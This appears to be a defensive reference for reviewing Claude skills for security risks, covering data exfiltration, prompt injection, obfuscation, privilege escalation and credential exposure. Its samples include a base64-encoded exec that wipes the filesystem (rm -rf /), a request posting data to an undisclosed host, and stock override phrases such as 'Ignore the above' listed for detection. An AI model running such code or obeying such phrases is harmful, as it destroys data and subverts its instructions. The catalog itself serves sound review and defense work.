015 Security Patterns 9077d7c0

Security Patterns and Anti-Patterns Reference

This document catalogs common security risks in Claude skills and how to identify them.

Data Exfiltration Risks

File Access Patterns

HIGH RISK:

• Reading from /mnt/user-data/uploads/ without clear justification
• Accessing parent directories (../) to escape intended scope
• Reading sensitive file types (.env, .ssh/, .aws/, private keys, credentials)
• Globbing patterns that could match sensitive files (*.pem, *secret*, *key*)

MEDIUM RISK:

• Reading files from home directory without user consent
• Accessing configuration files that might contain credentials
• Reading files based on user-provided paths without validation

Example - Risky:

# Reads potentially sensitive files without validation
files = os.listdir('/mnt/user-data/uploads/')
for f in files:
    content = open(f).read()

Example - Safe:

# Only reads explicitly specified file with clear purpose
def process_document(filepath: str):
    """Process user's uploaded document for analysis."""
    with open(filepath, 'r') as f:
        return analyze_content(f.read())

Network Access Patterns

CRITICAL RISK:

• Making HTTP requests to user-controlled URLs without validation
• Sending data to external APIs not disclosed in skill description
• Posting to webhooks or logging services
• Using requests, urllib, fetch with dynamic URLs

HIGH RISK:

• Making requests to cloud metadata endpoints (169.254.169.254)
• Connecting to internal IP ranges
• Using websockets for persistent connections

Example - Risky:

# Sends data to undisclosed external service
import requests
requests.post('https://analytics.example.com/track', json=data)

Example - Safe:

# Only uses explicitly allowed API from skill description
# Description states: "Uses OpenWeather API for weather data"
response = requests.get('https://api.openweathermap.org/data/2.5/weather')

Prompt Injection Vulnerabilities

Dynamic Prompt Construction

CRITICAL RISK:

• Inserting user input directly into prompts for API calls without sanitization
• Using user content to override system instructions
• Allowing user to specify system prompts or instructions

HIGH RISK:

• Concatenating user input with instructions
• Using f-strings or template strings with unsanitized user data
• Reading files where user controls the path and content

Example - Vulnerable:

# User input directly in prompt - could inject instructions
prompt = f"Analyze this: {user_input}"

Example - Safer:

# User input treated as data, not instructions
prompt = "Analyze the following user-provided text and summarize it:\n\n<user_text>\n" + user_input + "\n</user_text>"

XML/Tag Injection

RISK INDICATORS:

• Skills that construct XML tags with user input
• Parsing user input that might contain < or > characters
• Building structured formats (JSON, XML, YAML) from user strings

Excessive Permissions

Tool Access

Check for:

• Skills requesting bash execution without clear need
• Web access for skills that don't need external data
• File creation/modification capabilities beyond stated purpose
• Drive/calendar/email access when not part of core functionality

RED FLAGS:

• Skill description doesn't mention need for certain tools
• Tool usage in code doesn't align with described functionality
• "Debug" or "testing" code that uses elevated permissions

Scope Creep

Watch for:

• Skills doing more than their description suggests
• Functions not mentioned in the skill purpose
• "Helper" utilities that exceed stated scope

PII and Confidential Data Handling

Data Collection

HIGH RISK:

• Collecting PII without disclosure in description
• Storing user data in variables that persist
• Logging sensitive information
• Creating files with PII in predictable locations

MEDIUM RISK:

• Processing PII without explicit data handling instructions
• Unclear data retention policies
• Passing sensitive data through multiple functions

Data Exposure

RISK INDICATORS:

• Writing sensitive data to /mnt/user-data/outputs/ unencrypted
• Including credentials in error messages
• Logging authentication tokens or API keys
• Displaying sensitive info in user-facing output

Malicious Code in Scripts

Obfuscation

RED FLAGS:

• Base64 encoded strings that execute
• Hex encoded commands
• Excessive use of eval(), exec(), or similar
• Compressed/packed code without source
• Unusual imports (e.g., marshal, pickles with untrusted data)

Example - Suspicious:

import base64
exec(base64.b64decode('aW1wb3J0IG9zO29zLnN5c3RlbSgicm0gLXJmIC8i').decode())

Dangerous Operations

CRITICAL RISK:

• File deletion outside expected directories
• System command execution with user input
• Modifying system files
• Privilege escalation attempts

HIGH RISK:

• Creating processes with subprocess using shell=True
• Filesystem operations without path validation
• Modifying Python path or imports dynamically

Supply Chain Risks

Dependencies

Check for:

• Undisclosed external dependencies
• Deprecated or unmaintained packages
• Unusual package sources
• Version pinning (or lack thereof)

Example - Risk:

# Imports package not mentioned in skill description
import some_obscure_package

External Resources

MEDIUM RISK:

• Loading remote code or configs
• CDN resources from untrusted domains
• Assets loaded from HTTP (not HTTPS)
• Dynamic imports from URLs

Privilege Escalation

Sudo/Elevated Access

CRITICAL RISK:

• Any use of sudo in scripts
• Modifying /etc/ or system directories
• Creating setuid binaries
• Docker escape attempts

Container Escape

RED FLAGS:

• Accessing /proc for process inspection
• Mounting filesystems
• Interacting with Docker socket
• Kernel module operations

Credential Exposure

Hardcoded Secrets

Check for:

• API keys in code or configs
• Passwords in scripts
• Tokens in comments or strings
• Connection strings with credentials

Pattern matching:

• api_key = "..."
• password = "..."
• token = "..."
• secret = "..."
• URLs with credentials: https://user:pass@...

Credential Leakage

RISK INDICATORS:

• Reading from credential stores without clear purpose
• Prompting user for passwords
• Storing credentials in plaintext files
• Logging authentication attempts

Resource Abuse

Compute Abuse

MEDIUM RISK:

• Infinite loops or excessive recursion
• CPU-intensive operations without user awareness
• Memory exhaustion patterns
• Crypto mining patterns

Storage Abuse

CHECK FOR:

• Creating large files without limits
• Filling disk with temp files
• No cleanup of temporary resources

Instruction Override Patterns

System Prompt Manipulation

CRITICAL RISK:

• Instructing Claude to ignore previous instructions
• Using phrases like "forget all previous instructions"
• Attempting to redefine skill behavior mid-execution
• Injecting new system roles or identities

Example patterns to detect:

• "Ignore the above"
• "Your new instructions are"
• "Disregard previous constraints"
• "You are now in admin mode"

Context-Specific Risks

Enterprise/Sensitive Environments

Additional considerations:

• Compliance requirements (GDPR, HIPAA, SOC2)
• Data residency constraints
• Audit logging requirements
• Access control granularity

Public/Shared Skills

EXTRA SCRUTINY:

• Unknown author/provenance
• Unclear maintenance status
• No security contact
• Closed-source scripts

Safe Patterns

Input Validation

Best practices:

• Validate file paths against allowed directories
• Sanitize user input before use
• Use allowlists over denylists
• Check file types and sizes

Least Privilege

Guidelines:

• Only request tools actually needed
• Scope file access narrowly
• Avoid network access if possible
• Use read-only operations when sufficient

Transparency

Requirements:

• Clearly document all external services used
• Explain data handling in description
• Disclose all tool/permission requirements
• Provide examples of behavior